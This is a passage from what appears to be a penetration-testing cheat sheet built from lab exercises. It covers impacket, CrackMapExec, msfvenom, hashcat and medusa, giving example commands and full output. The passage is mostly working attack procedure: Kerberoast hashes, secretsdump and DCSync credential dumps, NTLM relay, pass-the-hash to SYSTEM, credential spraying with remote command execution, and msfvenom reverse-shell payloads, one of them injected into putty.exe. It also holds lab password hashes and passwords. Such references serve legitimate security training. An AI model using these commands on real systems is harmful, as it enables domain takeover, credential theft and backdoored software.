    $krb5tgs$23$*SQLService$CONTROLLER.LOCAL$controller.local/SQLService*$6dec76a5974ec758041cd185ad73611b$60acf37bf501464a51d551c8ddb67f44595a1fdce91f088757db6fb22455e2587c766a680b556333638c9bff2e5da5f498c44a467169ade4f5b67d0929d8ae2247c2adc82fb188522e77673664672efe49f59f6a4ca5b667d6aa9c552e79a8ddbab3aa5819e5aafd25877c8e455739a94e036725029493a387fe7957c034c44602931f5ff54d3f6429e257544283b11b660b2682058d28d43823656b0ac73fe191a693ab5a4b8c2e57ea7db19799bb908e094123704cbcebfd4cff275ccc8218c99717491be2b280f806a82cfc94d25efbe8d002f4f233b4b103f164920b73dddf4b478046a4a0a9e14406f2c347a0baf48cfbb231586f6d76b4c25ed729345819fc1536284bbf1227a68589509c80880c852aad0c23ec612f946efd0a6e36cdbd8d0ae5ccd345268a9c79c676f5b6d2b0adea46d6bc2f85459d89adb867d5930ff9e9c7c9261303f9091d52d662ebb29e933c6e08e2d7cf4ebfe0bd77dfa39ac96f146f9c62287c8eb62315fc6e1e8b85d789d220100bd8033bf5a521e9370b9eab10a612fbe762f3ec96b5a3e8ce0fb3d4fe29d4c03afa6d1982ef28e14aaab28e0f24912b905650cf2b717dc25e4330a2371397a12855a260230c3a15acc202a8bd2c8030097a70031ad94e2eed4583ac815a5cd2f21cc001b94035bb2c794a390d30501a6d30dd0274ada1f3872c5d149f162a1eb6810707cafe0fa5b0e10b475f7095d8e1ee3007f12ab7f2306313e3c36d969a45550087434664ed72ed285717333c457ef4e3f73862a22e02227de209f5305ff21e30b43444b19247ac6f56374e9da4fba7f8b02711a33c0dfd1895afbbdd8c75008ae6545fd4e210e746bcbb67dc4a2e94344d57949796f250cb5b6a415d0afc060db87bb2c6b607c45ae225726697857783446c01c28a2688e2a6ff94903e7c0cf6d6019e818ace825523c6f8044ba31e8d923d3cf632dea5b1880265bd9a3fab6b7d29e21b9a0a46d13bb108fa92dae9deb411cc7aad0b0ae94ff2206a8296d764f257735f83b997b85ecb0c83685d48b142477c2ddd8c2638e249326fb4e293cab92c65b00b910b3846a6bb8ea02115f22a83e75fd2cb098e9fb3330b88c5e6a7abab1eb940f75e40aa8b937a9355311e734222c5c9d87178a7f16de2515a7ea3400d16bb8f869c2210d787bfa9fc2bcbdf4e63ab5c11cf711dff1c326413c714daff65e6952392798ac1ef57b7020607eaf953589685092dfe44ed006e106b13f8eb4de03bfbb9d5b93f7a516783ce38e72f04c6b4687788866fba144eadbb5f8c43e9f2aee9eafdf9489060cfbb5eec61d16fb05b436056d1dfe0773c382780d610dd372b5aa449c2df60672b02835335e063f6711a46ffe259405f69c12eaac3748f90c3a532b3d804e6f7380c2d6eb09e719f18bc282cba982ecdc76482f8986f2bae0536b291cc9cbfe0cf16e359fafde7b8b37009c3369a17b2d0f5c617399b0e0dd1edbc246f934fb91f  
    $krb5tgs$23$*HTTPService$CONTROLLER.LOCAL$controller.local/HTTPService*$fbb22e10128330da53612b0abeef44b1$b6257326c6d60a87c03b7435a8356fd18532eaf25d777cc41aef67cc5f8bd2205f6159c6719d465437c33ffaf76cee44e6b792bfe71987640e1774c1652cd538cdd123348aa5ab43b3e7283d252b2d9bd49b09f71bcb040f6c9c63d95c5859844f224cc1d5af984518b7ca7a552644e8172991009e8efa4181ef25602ec6d848b5cd80418afbb9cd2c26b03534cc0a69b41e72ed747c872b8d44cc2e98e2f2cfbc470554b20a63c1af6aa0f811f64e9e916fd6ad73a0ab9305b5fb3100fc3ef32457b5d1e4cbc35cdec8de9ecfea25967f5d335e9fc35906877380241e3aed2a4f5218ee9c75b794a517b2fd812ef1237a1dbb18a87d84517fe8840c02d8bdec293d14b38c0a19bce0d15bea4873c40715e622dc3c65cc81936d5f92ec4f81a8e446bec4fcdcca10de6763e588429c3c3785d5adf0bbe2165ba6e99d5259b87c232bd9441ede28c04a0b7db565454dc91927da9cb72a39f5b1f4a8fccfdfd38cadf8d9d94d994a6b228a167a0c0e555bbf89b5c0a135696654ad7b98523dad17fae7ac76efe75b2485f6783c138afffc9d6af60c2e790d7ca75834599f09a8c46a054cce14897b39e8bb1055703cc77f243014b3d4aada93996659e3455a76e918cb3492f19f017c87177e4633db92cc30048c093a5230934cba7ec4b58ee3c6db7bf6be96110f6240066b331ff4ea24b6c3f63ac9775ae527fa9cf5334e0d27834e829a2bc23db8de75730f4d1464b0dcb8c1c59c74f5a8e8f79636348af852bc15c017d911b6f1922ce62cadc72bc737ac6d59c5ad6bfd95dd44f89ec9ecac78bd7bd5f6eda386161682504827b9901ca33a21ca1b466a1b23ac375041b95d7de2f610c363d24c41de62326639e162803f81c1669e5a6f26a59e73771a3f4877f056dd717abfcfe4feebd5d6fca2595fc8fc9d0dc8ff8d60115cdb8a0fc9e9bb5cc5b02687b8d911544eaf749b85e3447535c7d022963b8d8c889dcb7086e099311b220111aa24a187748ad353cb3946856c9fed553e733af55e004efbdaf467dbe745605960507651e863c7a7d17d194ccebddf220f6c6b6577734aba1383fe7d0adccce306cb4d828358e774be029104cf73fa93a2bb4fc5a93f85a6aca9e3e8edbd2ccdfb48dc81dcf7c1cb86f59479d5863f668c8c0fb7985da533d20fa2a2958786d2542e78df82167e7f9893946a0fe53504d11ca4217cd7f47ec8932b1dadd7a203fdad877222594b6890a0e371fd3bb930a2ecd0e301e869c86b39d3263ba616c4515b4869258cb85ea12755ab9b2d20fc8b3bd5ff290b7f32117fc659572845f4279cfdccfcf729929f056430acf29f2e5b8e2e83a58eead52f31f0130f0436349f037ed57064d180fb25dea2ffea01d7fd42f6ee9d9d882df04f5dbe8d7adaef67982344be09bc92b39fddf0eca4529270dfcb58c536db6f1ac36f8bb9d06b3213da8421192b9987135570649e6b490d22e1352549bf2a634d5778af12b97fc2
    
    root@ip-10-10-177-75:/opt/impacket/examples# 
    
    
    # Dumping the KRBTGT hash - secretsdump.py
    
    [*] Target system bootKey: 0x3793e46f2ffcf19c9060c058e1a8c4d7
    [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:2777b7fec870e04dda00cd7260f7bee6:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
    [*] Dumping cached domain logon information (domain/username:hash)
    [*] Dumping LSA Secrets
    [*] $MACHINE.ACC 
    CONTROLLER\CONTROLLER-1$:aes256-cts-hmac-sha1-96:b154757ed42fd39d373bb03f7d49ba42c7f90c6d2d6c72044b835f34df9fde6e
    CONTROLLER\CONTROLLER-1$:aes128-cts-hmac-sha1-96:0a2f696a1b5855a97de0ab300307bc2d
    CONTROLLER\CONTROLLER-1$:des-cbc-md5:fe0b101c7a1357f2
    CONTROLLER\CONTROLLER-  1$:plain_password_hex:e075595bd6202a07ae5c685801d1baf40dc79e2ef7fbe45d72654cff2e27cd2c563ba37e8b29e1e5dd7ca5c35f0560067b2733cbe5664a8de7edd5e4a716f5a2648e7970ec406c685dd47c9037d885164b6cf93f2d425365749890921aa82a3054fd8e49a674914e6c831e9f55c98cdffc24749235e59a14d2c71d4cdad3e28048559764269f446ef5270e34388159d3828308de06a32f68aaa3d2f49c4ad0a0da10fd65c05760bf31341b459a027fd54bfd300ae0db8e8b7a374352908ff5d2b775ccb6f015b0251d3ca47a443c733052643ccfce71cffce86e6941727bfbe439f628f06d4a3edb6216950d434c7ca4
    CONTROLLER\CONTROLLER-1$:aad3b435b51404eeaad3b435b51404ee:811e021e0b4e1313d654b27f91e83c0d:::
    [*] DPAPI_SYSTEM 
    dpapi_machinekey:0x83f9488e2aeef29b354be313f76363f8e5770bf2
    dpapi_userkey:0x7c5d37fa459e37a1e9a3180c44092d5143490810
    [*] NL$KM 
     0000   68 09 BC 65 4B C4 62 83  B2 D1 FA B7 79 5B 82 86   h..eK.b.....y[..
     0010   41 7E 09 44 96 24 E4 86  A4 23 66 F2 94 C9 F1 5D   A~.D.$...#f....]
     0020   2D 1A 9D 14 B4 B3 35 54  27 B3 CB B1 E0 9A 26 82   -.....5T'.....&.
     0030   EB 40 75 72 EF 11 38 05  9C 50 E2 32 86 B1 FD CB   [email protected]....
    NL$KM:6809bc654bc46283b2d1fab7795b8286417e09449624e486a42366f294c9f15d2d1a9d14b4b3355427b3cbb1e09a2682eb407572ef1138059c50e23286b1fdcb
    [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
    [*] Using the DRSUAPI method to get NTDS.DIT secrets
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:2777b7fec870e04dda00cd7260f7bee6:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72cd714611b64cd4d5550cd2759db3f6:::
    CONTROLLER.local\Machine1:1103:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
    CONTROLLER.local\Machine2:1104:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
    CONTROLLER.local\Admin1:1105:aad3b435b51404eeaad3b435b51404ee:3e920318c828abe5f652109e4ff0866d:::
    [...]
    [*] Kerberos keys grabbed
    Administrator:aes256-cts-hmac-sha1-96:42b3c13c8c0fef3175eb2b5926f805f919123efd001a9c5a16ee9a86101e32b4
    Administrator:aes128-cts-hmac-sha1-96:d01d6ccf97a2ee214ec7185173a3b659
    Administrator:des-cbc-md5:918abaf7dcb02ce6
    krbtgt:aes256-cts-hmac-sha1-96:dfb518984a8965ca7504d6d5fb1cbab56d444c58ddff6c193b64fe6b6acf1033
    krbtgt:aes128-cts-hmac-sha1-96:88cc87377b02a885b84fe7050f336d9b
    krbtgt:des-cbc-md5:79bf07137a8a6b8f
    CONTROLLER.local\Machine1:aes256-cts-hmac-sha1-96:63f8cf507d238bc84a2c0486dae6298d8823ae1565beb040393afc704c53acf3
    CONTROLLER.local\Machine1:aes128-cts-hmac-sha1-96:7db83a942d11c7441513c5c1f712319b
    [...]
    [*] Cleaning up... 
    root@ip-10-10-177-75:/opt/impacket/examples#
    
    
    # Extracting SAM NTLM hashes from sam and system registry hives & shadow volume - secretsdump.py
    
    [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
    [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3a787a80d08385cea7fb4aa2a4261:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
    [*] Cleaning up... 
    
    
    # Extracting NTDS - secretsdump.py
    
    [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
    [*] Dumping cached domain logon information (domain/username:hash)
    [*] Dumping LSA Secrets
    [*] $MACHINE.ACC     $MACHINE.ACC:plain_password_hex:cd3557a805cd9dc8973cba946045b4c210ffa62c68bd294b747ad49b7bb4eb740100de6d03527b7e49cf05c99376a7c9087980ed601edae0ee8106360ff097f28d6f27139d75826fbcd9aae542582a7cbfe1a95bd68d372859dffad6320e648abc558038cc826d4ecdbff03f3ddebafe9b887511c977ec1da0e02b9e5e560502b635ac4c9243d55259de10cb58147cbca325ba5c678082562ed8098e92adc89d4cc19d0fffa069156e938a44c43c2f576be27d35e719dfe2960abad4b1844e0dcc4cd47cc710727f42ede02d12a4db5349156c13aa804a65b5ae75f339ddb29faee327c674c5945717e50cdc216a1fb0
    $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:a8700dec959b069eec78964e18f27da8
    [*] DPAPI_SYSTEM 
    dpapi_machinekey:0x0e88ce11d311d3966ca2422ac2708a4d707e00be
    dpapi_userkey:0x8b68be9ef724e59070e7e3559e10078e36e8ab32
    [*] NL$KM 
     0000   8D D2 8E 67 54 58 89 B1  C9 53 B9 5B 46 A2 B3 66   ...gTX...S.[F..f
     0010   D4 3B 95 80 92 7D 67 78  B7 1D F9 2D A5 55 B7 A3   .;...}gx...-.U..
     0020   61 AA 4D 86 95 85 43 86  E3 12 9E C4 91 CF 9A 5B   a.M...C........[
     0030   D8 BB 0D AE FA D3 41 E0  D8 66 3D 19 75 A2 D1 B2   ......A..f=.u...
    NL$KM:8dd28e67545889b1c953b95b46a2b366d43b9580927d6778b71df92da555b7a361aa4d8695854386e3129ec491cf9a5bd8bb0daefad341e0d8663d1975a2d1b2
    [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
    [*] Searching for pekList, be patient
    [*] PEK # 0 found and decrypted: 55db1e9562985070bbba0ef2cc25754c
    [*] Reading and decrypting hashes from ./Active Directory/ntds.dit 
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc9b72f354f0371219168bdb1460af32:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    CREDS-HARVESTIN$:1008:aad3b435b51404eeaad3b435b51404ee:a8700dec959b069eec78964e18f27da8:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ec44ddf5ae100b898e9edab74811430d:::
    thm.red\thm:1114:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
    thm.red\victim:1115:aad3b435b51404eeaad3b435b51404ee:6c3d8f78c69ff2ebc377e19e96a10207:::
    [...]
    [*] Kerberos keys from ./Active Directory/ntds.dit 
    Administrator:aes256-cts-hmac-sha1-96:510e0d5515009dc29df8e921088e82b2da0955ed41e83d4c211031b99118bf30
    Administrator:aes128-cts-hmac-sha1-96:bab514a24ef3df25c182f5520bfc54a0
    Administrator:des-cbc-md5:6d34e608f8574632
    CREDS-HARVESTIN$:aes256-cts-hmac-sha1-96:5f85915d4ec0ee993d88c025533708c2eb44b79f43c28cb3a03708f63311c51a
    CREDS-HARVESTIN$:aes128-cts-hmac-sha1-96:6970d5c90fc88c455b61ac895e9119f6
    CREDS-HARVESTIN$:des-cbc-md5:20efa17cb373d337
    krbtgt:aes256-cts-hmac-sha1-96:24fad271ecff882bfce29d8464d84087c58e5db4083759e69d099ecb31573ad3
    krbtgt:aes128-cts-hmac-sha1-96:2feb0c1629b37163d59d4c0deb5ce64c
    krbtgt:des-cbc-md5:d92ffd4abf02b049
    thm.red\thm:aes256-cts-hmac-sha1-96:2a54bb9728201d8250789f5e793db4097630dcad82c93bcf9342cb8bf20443ca
    thm.red\thm:aes128-cts-hmac-sha1-96:70179d57a210f22ad094726be50f703c
    [...]
    [*] Cleaning up... 
    root@ip-10-10-150-52:~# 
    
    
    # Perform DC-Sync remotely - secretsdump.py
    
    Password:
    [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
    [*] Using the DRSUAPI method to get NTDS.DIT secrets
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc9b72f354f0371219168bdb1460af32:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ec44ddf5ae100b898e9edab74811430d:::
    thm.red\thm:1114:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
    thm.red\victim:1115:aad3b435b51404eeaad3b435b51404ee:6c3d8f78c69ff2ebc377e19e96a10207:::
    [...]
    [*] Cleaning up... 
    root@ip-10-10-150-52:~# 
    
    
    # Executing files over SMB from linux - smbexec.py
    
    [!] Launching semi-interactive shell - Careful what you execute
    C:\Windows\system32>
    
    Then launch shell:  c:\Users\Administrator\Desktop\shell.exe
    
    
    # Relay NTLM authentication capture to -T target - ntlmrelayx.py
    
    [*] Protocol Client IMAPS loaded..
    [*] Protocol Client IMAP loaded..
    
    [*] Protocol Client RPC loaded..
    [*] Protocol Client DCSYNC loaded..
    [*] Protocol Client LDAP loaded..
    [*] Protocol Client LDAPS loaded..
    [*] Protocol Client SMB loaded..
    [*] Protocol Client HTTPS loaded..
    [*] Protocol Client HTTP loaded..
    [...]
    [*] Running in relay mode to single host
    [*] Setting up SMB Server
    [*] Setting up HTTP Server on port 80
    [*] Setting up RAW Server on port 6666
    [*] Servers started, waiting for connections
    [*] SMBD-Thread-5: Received connection from 10.200.72.202, attacking target smb://10.200.72.201
    [*] Authenticating against smb://10.200.72.201 as ZA/THMSERVER2$ SUCCEED
    [+] No more targets
    [*] SMBD-Thread-7: Connection from 10.200.72.202 controlled, but there are no more targets left!
    [+] No more targets
    [*] SMBD-Thread-8: Connection from 10.200.72.202 controlled, but there are no more targets left!
    [*] Service RemoteRegistry is in stopped state
    [...]
    [*] Target system bootKey: 0x4e05e7ea4fdddde75aa56010474948dc
    [+] Saving remote SAM database
    [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
    [+] Calculating HashedBootKey from SAM
    [+] NewStyle hashes is: True
    ServerAdmin:500:aad3b435b51404eeaad3b435b51404ee:3279a0c6dfe15dc3fb6e9c26dd9b066c:::
    [...]
    [*] Done dumping SAM hashes for host: 10.200.72.201
    [*] Stopping service RemoteRegistry
    
    
    # Pass-the-hash - psexec.py
    
    [*] Requesting shares on 10.10.203.243.....
    [*] Found writable share ADMIN$
    [*] Uploading file gYXGGCjx.exe
    [*] Opening SVCManager on 10.10.203.243.....
    [*] Creating service JsxB on 10.10.203.243.....
    [*] Starting service JsxB.....
    [!] Press help for extra shell commands
    Microsoft Windows [Version 10.0.17763.1821]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32> whoami
    nt authority\system
    
    
    # Serving files - smbserver.py
    
    [*] Config file parsed
    [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
    [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
    [*] Config file parsed
    [*] Config file parsed
    [*] Config file parsed
    [*] Incoming connection (10.10.203.243,49907)
    [*] AUTHENTICATE_MESSAGE (WPRIVESC2\THMBackup,WPRIVESC2)
    [*] User WPRIVESC2\THMBackup authenticated successfully
    [*]   THMBackup::WPRIVESC2:aaaaaaaaaaaaaaaa:3c80cd0ac47d4b4a7d45f34defbe663f:010100000000000000a053a5cd4cdc01a966444d2c989a690000000001001000530074005a0059006e0069005600710003001000530074005a0059006e0069005600710002001000460079006c00700066007a006c00690004001000460079006c00700066007a006c0069000700080000a053a5cd4cdc0106000400020000000800300030000000000000000000000000300000d6eac08cccf660286908c2e9b8cf391ab727daa14772f3cc23fad015f3db5d2b0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e003200310038002e00380033000000000000000000
    [*] Connecting Share(1:IPC$)
    [*] Connecting Share(2:public)
    [*] Disconnecting Share(1:IPC$)
    [*] Disconnecting Share(2:public)
    [*] Closing down connection (10.10.203.243,49907)
    
    

9. CrackMapExec (CME)

  • Use Case: Mass auth, enumeration, and command execution across Windows domains. Github

  • Input Example:

    crackmapexec ssh 10.10.81.188 -u burgess -p 'Fall2021@'
    
    crackmapexec smb 10.10.223.203 -u Administrator -p 'P@$$W0rd'
    
    crackmapexec smb 10.10.223.203 -u Administrator -p 'P@$$W0rd' --shares
    
    crackmapexec smb 10.10.223.203 -u Administrator -p 'P@$$W0rd' -x 'whoami'
    
    crackmapexec smb 10.10.223.203 -u Administrator -p 'P@$$W0rd' --exec-method smbexec -x 'powershell -c "hostname"'
    
    crackmapexec ftp 10.10.144.205 -u ftp -p ftp --ls
    
                                                                Version : 6.1.0
                                                              Codename: John Wick
    
    options:
      -h, --help            show this help message and exit
      -t THREADS            set how many concurrent threads to use (default: 100)
      --timeout TIMEOUT     max timeout in seconds of each thread (default: None)
      --jitter INTERVAL     sets a random delay between each connection (default: None)
      --no-progress         Not displaying progress bar during scan
      --verbose             enable verbose output
      --debug               enable debug level information
      --version             Display CME version
    
    protocols:
      available protocols
    
      {ftp,ldap,mssql,rdp,smb,ssh,vnc,winrm,wmi}
        ftp                 own stuff using FTP
        ldap                own stuff using LDAP
        mssql               own stuff using MSSQL
        rdp                 own stuff using RDP
        smb                 own stuff using SMB
        ssh                 own stuff using SSH
        vnc                 own stuff using VNC
        winrm               own stuff using WINRM
        wmi                 own stuff using WMI
    
    
  • Output Example:

    SSH         10.10.81.188    22     10.10.81.188     [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13
    SSH         10.10.81.188    22     10.10.81.188     [+] burgess:Fall2021@  - shell access!
    root@ip-10-10-169-75:~# 
    
    
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [*] Windows 10.0 Build 17763 x64 (name:DOMAIN-CONTROLL) (domain:CONTROLLER.local) (signing:True) (SMBv1:False)
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [+] CONTROLLER.local\Administrator:P@$$W0rd (Pwn3d!)
    
    NOTE: (Pwn3d!) → CME detected that this account has administrative rights on the target (full compromise).
    
    
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [*] Windows 10.0 Build 17763 x64 (name:DOMAIN-CONTROLL) (domain:CONTROLLER.local) (signing:True) (SMBv1:False)
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [+] CONTROLLER.local\Administrator:P@$$W0rd (Pwn3d!)
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [*] Enumerated shares
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  Share           Permissions     Remark
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  -----           -----------     ------
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  ADMIN$          READ,WRITE      Remote Admin
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  C$              READ,WRITE      Default share
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  IPC$            READ            Remote IPC
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  NETLOGON        READ,WRITE      Logon server share 
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  Share           READ,WRITE      
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  SYSVOL          READ            Logon server share 
    
    
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [*] Windows 10.0 Build 17763 x64 (name:DOMAIN-CONTROLL) (domain:CONTROLLER.local) (signing:True) (SMBv1:False)
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [+] CONTROLLER.local\Administrator:P@$$W0rd (Pwn3d!)
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [+] Executed command via wmiexec
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  controller\administrator
    
    NOTE: wmiexec is stealthy as no service is created
    
    
    
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [*] Windows 10.0 Build 17763 x64 (name:DOMAIN-CONTROLL) (domain:CONTROLLER.local) (signing:True) (SMBv1:False)
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [+] CONTROLLER.local\Administrator:P@$$W0rd (Pwn3d!)
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  [+] Executed command via smbexec
    SMB         10.10.223.203   445    DOMAIN-CONTROLL  Domain-Controller
    
    NOTE: smbexec also creates a service (similar to PsExec) to execute commands
    
    
    FTP         10.10.144.205   21     10.10.144.205    [*] Banner: (vsFTPd 3.0.5)
    FTP         10.10.144.205   21     10.10.144.205    [+] ftp:ftp
    FTP         10.10.144.205   21     10.10.144.205    [*] Directory Listing
    FTP         10.10.144.205   21     10.10.144.205    drwxr-xr-x    2 111      116          4096 Oct 12  2021 files  
    
    

10. msfvenom

  • Use Case: Payload generation for Metasploit or standalone droppers. Github

  • Input Example:

    # Catch with metasploit handler
    msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.4 LPORT=443 -f exe -o agent.exe
    
    # Catch with netcat
    msfvenom -p windows/shell_reverse_tcp lhost=10.10.74.154 lport=4444 -f exe -o payload.exe
    
    # Catch with metasploit handler
    msfvenom -p windows/shell/reverse_tcp lhost=10.10.74.154 lport=4444 -f exe -o payload.exe
    
    # Catch with netcat
    msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=10.10.50.56 lport=4444 -b "\x00" -f exe -o puttyX.exe
    
    ✅ Extra Notes
    
    -x putty.exe → Injects the payload into the original Putty executable (file binding).
    -k → Keeps the original functionality of Putty after infection.
    -b "\x00" → Avoids null bytes in the payload (important for stability).
    -f exe → Output format is Windows executable.
    

    ⚠️ Warning: Important notes on staged vs. stageless / un-staged

    ✅ If you want Netcat to catch the shell:
    Netcat only handles raw TCP streams, so you need to use a generic, un-staged reverse shell payload (windows/shell_reverse_tcp).
    
    ✅ If you want Metasploit to catch the shell:
    Metasploit reverse_tcp payload sends a staged connection that requires the Metasploit handler to deliver the second stage.
    
    # Create a powershell payload
    msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1
    
  • Output Example:

    [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    [-] No arch selected, selecting arch: x64 from the payload
    No encoder specified, outputting raw payload
    Payload size: 854 bytes
    Final size of exe file: 7168 bytes
    Saved as: agent.exe
    
    

11. hashcat

  • Use Case: Offline password cracking (hashes of many types). Github

  • Input Example:

    hashcat -a 0 -m 100 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt
    
    hashcat -a 3 -m 0 e48e13207341b6bffb7fb1622282247b ?d?d?d?d
    
    hashcat -a 0 -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt
    
    # Hash intercepted by responder - NetNTLMv2 format
    
    hashcat -m 5600 $hash passwords.txt --force
    
    
    Attack Modes (-a):
    
    0 = Straight Dictionary Attack 
    Example: hashcat -m 500 -a 0 hash.txt dict.txt
    
    1 = Combination Attack 
    Example: hashcat -m 500 -a 1 hash.txt dict1.txt dict2.txt
    
    3 = Brute Force Attack 
    Example: hashcat -m 500 -a 3 hash.txt ?l?d?u
    
    6 = Hybrid Wordlist + Mask
    Example: hashcat -m 500 -a 6 hash.txt wordlist.txt ?d?s
    
    7 = Mask + Wordlist 
    Example: hashcat -m 500 -a 7 hash.txt ?d?s wordlist.txt
    
    
  • Output Example:

    
    [...]
    Dictionary cache built:
    * Filename..: /usr/share/wordlists/rockyou.txt
    * Passwords.: 14344392
    * Bytes.....: 139921507
    * Keyspace..: 14344385
    * Runtime...: 2 secs
    
    8d6e34f987851aa599257d3831a1af040886842f:sunshine         
                                                            
    Session..........: hashcat
    Status...........: Cracked
    Hash.Mode........: 100 (SHA1)
    Hash.Target......: 8d6e34f987851aa599257d3831a1af040886842f
    Time.Started.....: Fri Nov  7 15:48:31 2025 (0 secs)
    Time.Estimated...: Fri Nov  7 15:48:31 2025 (0 secs)
    Kernel.Feature...: Pure Kernel
    Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
    Guess.Queue......: 1/1 (100.00%)
    Speed.#1.........:     8730 H/s (0.05ms) @ Accel:256 Loops:1 Thr:1 Vec:8
    Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
    Progress.........: 512/14344385 (0.00%)
    Rejected.........: 0/512 (0.00%)
    Restore.Point....: 0/14344385 (0.00%)
    Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
    Candidate.Engine.: Device Generator
    Candidates.#1....: 123456 -> letmein
    
    Started: Fri Nov  7 15:47:46 2025
    Stopped: Fri Nov  7 15:48:32 2025
    
    
    
    [...]
    e48e13207341b6bffb7fb1622282247b:1337                     
                                                            
    Session..........: hashcat
    Status...........: Cracked
    Hash.Mode........: 0 (MD5)
    Hash.Target......: e48e13207341b6bffb7fb1622282247b
    Time.Started.....: Fri Nov  7 16:13:28 2025 (0 secs)
    Time.Estimated...: Fri Nov  7 16:13:28 2025 (0 secs)
    Kernel.Feature...: Pure Kernel
    Guess.Mask.......: ?d?d?d?d [4]
    Guess.Queue......: 1/1 (100.00%)
    Speed.#1.........:    64306 H/s (0.15ms) @ Accel:256 Loops:10 Thr:1 Vec:8
    Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
    Progress.........: 10000/10000 (100.00%)
    Rejected.........: 0/10000 (0.00%)
    Restore.Point....: 512/1000 (51.20%)
    Restore.Sub.#1...: Salt:0 Amplifier:0-10 Iteration:0-10
    Candidate.Engine.: Device Generator
    Candidates.#1....: 1813 -> 6764
    
    Started: Fri Nov  7 16:13:08 2025
    Stopped: Fri Nov  7 16:13:30 2025
    
    

12. medusa

  • Use Case: Parallelized online brute forcing (alternative to Hydra, although it is less flexible than Hydra at HTTP form brute forcing. Only basic, digest, and NTLM auth supported). Github

  • Input Example:

    medusa -h 10.10.144.205 -u ftp -p ftp -M ftp
    
    medusa -h 10.10.81.19 -U usernames-list.txt -P seasons-exp.txt -M ssh -t 5
    
    medusa -d
    
    
    Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
      + cvs.mod : Brute force module for CVS sessions : version 2.0
      + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
      + http.mod : Brute force module for HTTP : version 2.1
      + imap.mod : Brute force module for IMAP sessions : version 2.0
      + mssql.mod : Brute force module for M$-SQL sessions : version 2.0
      + mysql.mod : Brute force module for MySQL sessions : version 2.0
      + nntp.mod : Brute force module for NNTP sessions : version 2.0
      + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
      + pop3.mod : Brute force module for POP3 sessions : version 2.0
      + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
      + rexec.mod : Brute force module for REXEC sessions : version 2.0
